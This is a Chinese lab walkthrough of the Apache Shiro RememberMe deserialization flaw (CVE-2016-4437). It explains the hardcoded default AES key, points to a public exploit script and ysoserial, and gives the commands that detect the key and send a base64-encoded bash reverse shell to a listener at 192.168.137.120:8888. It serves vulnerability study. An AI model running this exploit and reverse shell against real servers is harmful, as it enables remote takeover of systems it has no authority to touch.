Apache shiro反序列化(CVE-2016-4437)复现

一、原理分析

Shiro提供了记住我(RememberMe)的功能,比如访问淘宝等网站时,关闭了浏览器下次再打开时还是能够记住上次访问过的用户,下次访问时无需再登录即可访问

Shiro会对cookie中的Remember me字段进行相关处理:序列化-->AES加密-->base64编码

由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),每个人都能够通过源代码拿到该密钥,因此攻击者可以构造一个恶意的对象,对其进行序列化并用该密钥进行加密,base64编码,最后作为cookie中的Remember me字段发送。Shiro得到该Remember me字段后进行解码解密并且反序列化,进而导致任意命令执行

影响版本:Apache Shiro <= 1.2.4

二、环境准备

1、https://vulfocus.cn/平台搜索:shiro-cve_2016_4437,启动环境

2、一台公网服务器(没有的可以自己找环境搭建一个本地的环境)

3、利用脚本及ysoserial.jar下载地址:https://github.com/insightglacier/Shiro_exploit,脚本中的所有sleep都把他注释掉,不然可能会很慢。

三、漏洞复现

1、访问环境

Apache shiro反序列化(CVE-2016-4437)复现_第1张图片

2、用默认root账号密码登录,记得勾选上Remember Me

Apache shiro反序列化(CVE-2016-4437)复现_第2张图片

3、可以先用脚本测试下是否存在漏洞,脚本中也列出了比较多的key,可以测试出是采用了哪个key

python3 shiro_exploit.py -u http://123.58.224.8:42716

Apache shiro反序列化(CVE-2016-4437)复现_第3张图片

最终测试出,存在该漏洞,采用的key是 kPH+bIxk5D2deZiIxcaaaA==

Apache shiro反序列化(CVE-2016-4437)复现_第4张图片

又到了令人兴奋的利用环节了

先启动监听

Apache shiro反序列化(CVE-2016-4437)复现_第5张图片

再打开一个新的shell窗口,执行:

python3 shiro_exploit.py -t 3 -u http://123.58.224.8:30771/ -p "bash -c {echo,YmFzaCAt ************************************************JjE=}|{base64,-d}|{bash,-i}"

其中-u后面跟的是目标地址,-p后面是bash反弹shell的一种base64加密后的写法,里面echo后面的那串base64字符就是bash -i >& /dev/tcp/192.168.137.120/8888 0>&1经过base64加密后的

Apache shiro反序列化(CVE-2016-4437)复现_第6张图片

执行后过会儿就可以看到shell反弹过来了

Apache shiro反序列化(CVE-2016-4437)复现_第7张图片

四、参考链接

1、https://blog.csdn.net/weixin_42019588/article/details/113395928

2、https://www.freebuf.com/vuls/284529.html

3、https://zhuanlan.zhihu.com/p/389768500

你可能感兴趣的:(apache)